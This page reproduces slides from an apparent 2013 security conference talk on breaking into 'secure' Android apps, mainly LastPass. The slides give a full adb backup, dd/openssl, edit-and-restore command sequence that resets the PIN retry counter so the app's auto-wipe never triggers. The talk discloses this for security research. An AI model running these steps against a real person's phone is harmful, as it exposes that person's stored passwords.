chrisjohnriley whoami it security analyst security
play

@ ChrisJohnRiley > whoami IT Security Analyst / Security - PowerPoint PPT Presentation

Nov 11, 2023 •861 likes •2.84k views

@ ChrisJohnRiley > whoami IT Security Analyst / Security Consultant Raiffeisen Informatik GmbH R-IT CERT Team Regular conference speaker DEF CON | Bsides | Hashdays | SecZone blog http://blog.c22.cc Abject

  1. lastpass • Personal solution (w/ enterprise option) • Uses online sync • Can be secured with a PIN • Can wipe data after 5 false logons • Restricts screenshots https://lastpass.com/android Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 69

  2. Can store lastpass.com password • So users don't need to type it EVERY time • Reduces security • Makes it usable ! Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 70

  3. Why store the PW ? Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 71

  4. _ mySecur3L@sTp@$$p@$$w0rd1sDAb0mb&&&:  Easy to remember  Impossible to type! Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 72

  5. It's OK though Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 73

  6. You can enable a PIN ! Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 74

  7. PIN Security • Limited to 4 digits! • “ auto-Wipe ” data • after 5 false logons Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 75

  8. PIN == SECURE ! Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 76

  10. AndroidManifest.xml Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 78

  11. AndroidManifest.xml <application android:allowBackup =“ true ”> Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 79

  12. Default: true Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 80

  13. adb backup com.lastpass.lpandroid – f lp.ab Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 81

  14. What good is an .ab file ? Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 82

  15. Android Backup (.ab) • zlib compressed (kinda) • skip header (24 bytes) • pipe to openssl w/zlib support dd if=dropbox.ab bs=24 skip=1 | openssl zlib -d > dropbox.tar Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 83

  17. LPandroid.xml • lastpass.com username • laspass.com password (encoded) • PIN (encoded) • Settings • ... Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 86

  18. <string name="reprompt_tries"> 0 </string> Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 87

  19. That looks interesting! Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 88

  20. ( ) THE O RY Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 89

  21. if reprompt_tries < 5 : prompt_for_pin() else drop_the_DBass() end Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 90

  22. Theory • reprompt_tries as iterator • increases till it reaches 5 • Sounds reasonable • edit the XML and restore it • Let's set “ reprompt_tries ” to -9999 then ;) Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 91

  23. Proposed Attack • Backup app data • Edit XML • set “ reprompt_tries ” to -9999 • Repackage • Restore Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 92

  24. Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 93

  25. 0 - adb backup com.lastpass.lpandroid -f lpass.ab 1 - dd if=lpass.ab bs=24 skip=1 | openssl zlib -d > lpass.tar 2 - tar -tf lpass.tar > lpass.list 3 - tar -xvf lpass.tar 4 - edit apps/com.lastpass.lpandroid/sp/LPandroid.xml 5 - star -c -v -f lpass_new.tar -no-dirslash list=lpass.list apps/ 6 - dd if=lpass.ab bs=24 count=1 of=lpass_new.ab 7 - openssl zlib -in lpass_new.tar >> lpass_new.ab 8 - adb restore lpass_new.ab Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 94

  26. Not the easiest process... Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 95

  27. Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 96

  28. counter++ Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 97

  29. good news … Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 98

  30. We get 10,000 tries Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 99

  31. bad news … Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 100

  32. We get 10,000 tries Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 101

  33. Let’s make it easier Mobile Fail ::: Cracking open “ secure ” Android Containers Chris John Riley | 26.11.2013 | 102

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend

INJECTING SECURITY INTO WEB APPS AT RUNTIME AJIN ABRAHAM SECURITY ENGINEER #WHOAMI

INJECTING SECURITY INTO WEB APPS AT RUNTIME AJIN ABRAHAM SECURITY ENGINEER #WHOAMI

INJECTING SECURITY INTO WEB APPS AT RUNTIME AJIN ABRAHAM SECURITY ENGINEER #WHOAMI Security Engineering @ Research on Runtime Application Self Defence Authored MobSF, Xenotix and NodeJSScan Teach Security: opsecx.com

906 views • 55 slides
Agile Security Pits Daniel Liber ~whoami Current: Security Leader @ CyberArk Product

Agile Security Pits Daniel Liber ~whoami Current: Security Leader @ CyberArk Product

Pole Vaulting over Agile Security Pits Daniel Liber ~whoami Current: Security Leader @ CyberArk Product security Strategy and process driven A pain in the insecurity s a$$ Past @ multiple places Consulting, Research,

581 views • 32 slides
Move fast and secure things About Me $whoami Security engineer @ Fb &gt; 2 years Security

Move fast and secure things About Me $whoami Security engineer @ Fb &gt; 2 years Security

Move fast and secure things About Me $whoami Security engineer @ Fb &gt; 2 years Security consultant I &lt;3 CTFs (LC/BC) I &lt;3 server side bugs and automating the detection @the_st0rm Agenda Setting the scene

284 views • 27 slides
Agile Security The Good The Bad (and mostly) The Ugly Daniel Liber ~whoami Current:

Agile Security The Good The Bad (and mostly) The Ugly Daniel Liber ~whoami Current:

Agile Security The Good The Bad (and mostly) The Ugly Daniel Liber ~whoami Current: Security Leader @ CyberArk Product security Strategy and process driven A pain in the insecurity s a$$ Past @ multiple places

906 views • 32 slides
Serverless security: attack &amp; defense www.securing.pl #whoami Senior Security Consultant in

Serverless security: attack &amp; defense www.securing.pl #whoami Senior Security Consultant in

www.securing.pl Pawel Rzepa Serverless security: attack &amp; defense www.securing.pl #whoami Senior Security Consultant in - Pentesting - Cloud security assessment Blog: https://medium.com/@rzepsky @Rzepsky

1.1k views • 63 slides
Steroids For Your App Security Assessment Marco Grassi Mobile Security Researcher ~ whoami

Steroids For Your App Security Assessment Marco Grassi Mobile Security Researcher ~ whoami

Steroids For Your App Security Assessment Marco Grassi Mobile Security Researcher ~ whoami R&amp;D Team Member @ viaForensics I work mainly on Android/iOS The Problem We want to trace the code in mobile applications that we

632 views • 48 slides
University Credits 4.0 Project Group Proposal 2020/2021 whoami Interim Professor for IT security

University Credits 4.0 Project Group Proposal 2020/2021 whoami Interim Professor for IT security

University Credits 4.0 Project Group Proposal 2020/2021 whoami Interim Professor for IT security Research in Software Security Java Security Vulnerability Analysis Usability in Security Type Systems Ben Hermann ben.hermann@upb.de Static

362 views • 12 slides
Hunting PBX For Vulnerabilities Sachin Wagh Security Analyst Security Intelligence Team @

Hunting PBX For Vulnerabilities Sachin Wagh Security Analyst Security Intelligence Team @

Hunting PBX For Vulnerabilities Sachin Wagh Security Analyst Security Intelligence Team @ Symantec Speaker at Hakon and Geek Street - Infosecurity Europe Bug Hunter | Penetration Tester Security Blogger @tiger_tigerboy

801 views • 38 slides
Xenpwn Breaking Paravirtualized Devices Felix Wilhelm www.ernw.de #wh whoami Security

Xenpwn Breaking Paravirtualized Devices Felix Wilhelm www.ernw.de #wh whoami Security

Xenpwn Breaking Paravirtualized Devices Felix Wilhelm www.ernw.de #wh whoami Security Researcher @ ERNW Research Application and Virtualization Security Recent Research Security Appliances (Fireeye, Palo Alto) Hypervisors

908 views • 53 slides
URI Use and Abuse Contributing Authors Nathan McFeters Senior Security Analyst Ernst

URI Use and Abuse Contributing Authors Nathan McFeters Senior Security Analyst Ernst

URI Use and Abuse Contributing Authors Nathan McFeters Senior Security Analyst Ernst &amp; Young Advanced Security Center, Chicago Billy Kim Rios Senior Researcher Microsoft, Seattle Rob Carter Security Analyst

542 views • 50 slides
IRL: Live Hacking Demos! Rick Ramgattie Omer Farooq Security Analyst Senior Security Analyst

IRL: Live Hacking Demos! Rick Ramgattie Omer Farooq Security Analyst Senior Security Analyst

#RSAC SESSION ID: SESSION ID: SBX2-R3 IRL: Live Hacking Demos! Rick Ramgattie Omer Farooq Security Analyst Senior Security Analyst Independent Security Evaluators (ISE) Independent Security Evaluators (ISE) @rramgatie @omerfar23 #RSAC

924 views • 43 slides
1 Agenda Docker world Containers VS Virtual machine Security concerns Conclusion Whoami

1 Agenda Docker world Containers VS Virtual machine Security concerns Conclusion Whoami

12.03.2019 Docker security 1 Agenda Docker world Containers VS Virtual machine Security concerns Conclusion Whoami M.Sc Computer Security M.Sc Software Development Worked previously as an embedded software developer Actually

586 views • 54 slides
BYPASSING SECURITY RESTRICTIONS TH THE E CASE ASE OF F CVE VE-2018 2018-5955 5955 Whoami

BYPASSING SECURITY RESTRICTIONS TH THE E CASE ASE OF F CVE VE-2018 2018-5955 5955 Whoami

BYPASSING SECURITY RESTRICTIONS TH THE E CASE ASE OF F CVE VE-2018 2018-5955 5955 Whoami Ad Adam Nu Nurudin ini CEH, ITIL L V3, 3, CCNA, CCNP, CASP, PCI-DS DSS, B , BSC-IT IT Lead Security Researcher @ Netwatch Technologies

178 views • 16 slides
dnstap-whoami Robert Edmonds (edmonds@fsi.io) Farsight Security, Inc. Intro DNS nameservers

dnstap-whoami Robert Edmonds (edmonds@fsi.io) Farsight Security, Inc. Intro DNS nameservers

dnstap-whoami Robert Edmonds (edmonds@fsi.io) Farsight Security, Inc. Intro DNS nameservers that return custom responses Diagnostics Experimentation Result passed through to the original client Examples: DNS whoami

265 views • 25 slides
Myth Busters Open source and Security By Aseem Jakhar $ whoami $ whoami We break break

Myth Busters Open source and Security By Aseem Jakhar $ whoami $ whoami We break break

Myth Busters Open source and Security By Aseem Jakhar $ whoami $ whoami We break break things! things! We $ whoami When not working, we do charity $ whoami When not working, we do charity By breaking products for free :)

659 views • 28 slides
How NOT to code your ransomware Liviu Itoaf About Me $ whoami Security Researcher @

How NOT to code your ransomware Liviu Itoaf About Me $ whoami Security Researcher @

How NOT to code your ransomware Liviu Itoaf About Me $ whoami Security Researcher @ Kaspersky Hands-on work: coding, reverse engineering, vulnerability research Malware analysis trainings T ags: GTD (Getting Things

392 views • 24 slides
CS 4518 Mobile and Ubiquitous Computing Lecture 10: Human-Centric Smartphone Sensing Applications

CS 4518 Mobile and Ubiquitous Computing Lecture 10: Human-Centric Smartphone Sensing Applications

CS 4518 Mobile and Ubiquitous Computing Lecture 10: Human-Centric Smartphone Sensing Applications Emmanuel Agu BES Sleep Duration Sensing Unobtrusive Sleep Monitoring Unobtrusive Sleep Monitoring using Smartphones, Zhenyu Chen, Mu Lin, Fanglin

1.11k views • 90 slides
IBMSFQCCAA Health Care Panel 10 November 2017 Moderator : Sy Schulman Panelists : Dave Johnson

IBMSFQCCAA Health Care Panel 10 November 2017 Moderator : Sy Schulman Panelists : Dave Johnson

IBMSFQCCAA Health Care Panel 10 November 2017 Moderator : Sy Schulman Panelists : Dave Johnson Gregg Cesario Hal Jurist Linda Sheiner John Ryan Audience comments and Questions Sy Schulman Florida Blue Medicare Supplement Plan F

86 views • 8 slides
rt s s

rt s s

rt s s rts t tt rrs r

843 views • 56 slides
Matching Methods Michael R. Roberts Department of Finance The Wharton School University of

Matching Methods Michael R. Roberts Department of Finance The Wharton School University of

Introduction Estimating ATE Estimating Variances Assessing the Assumptions Matching Methods Michael R. Roberts Department of Finance The Wharton School University of Pennsylvania July 28, 2009 Michael R. Roberts Matching Methods 1/78

1.12k views • 78 slides
15-410 My other car is a cdr -- Unknown Exam #1 Oct. 24, 2016 Dave Eckhardt Dave

15-410 My other car is a cdr -- Unknown Exam #1 Oct. 24, 2016 Dave Eckhardt Dave

15-410 My other car is a cdr -- Unknown Exam #1 Oct. 24, 2016 Dave Eckhardt Dave Eckhardt Dave O'Hallaron Dave O'Hallaron 1 L22_Exam 15-410, F'16 Synchronization Checkpoint 2 Wednesday, in Wean 5207 cluster Checkpoint 2

631 views • 25 slides
Outline Security Principles and Policies Security terms and concepts CS 239 Security

Outline Security Principles and Policies Security terms and concepts CS 239 Security

Outline Security Principles and Policies Security terms and concepts CS 239 Security policies Computer Security Basic concepts Peter Reiher Security policies for real systems January 13, 2005 Lecture 2 Lecture 2 Page 1

347 views • 9 slides
A New Application of Modular Robots on Analysis of Caterpillar-like Locomotion Houxiang Zhang,

A New Application of Modular Robots on Analysis of Caterpillar-like Locomotion Houxiang Zhang,

A New Application of Modular Robots on Analysis of Caterpillar-like Locomotion Houxiang Zhang, Juan Gonzlez-Gmez, Jianwei Zhang Faculty of Mathematics, Informatics School of Engineering and Natural Sciences Universidad Autonoma de Madrid

305 views • 17 slides
Design and Fabrication of Personalized Robotic Devices Stelian Coros Computer Graphics &amp;

Design and Fabrication of Personalized Robotic Devices Stelian Coros Computer Graphics &amp;

Design and Fabrication of Personalized Robotic Devices Stelian Coros Computer Graphics &amp; Animation Robotics Computational Design 3D Printing From Digital To Real 3D Printing: limitless opportunities complexity is free

1.26k views • 96 slides

More recommend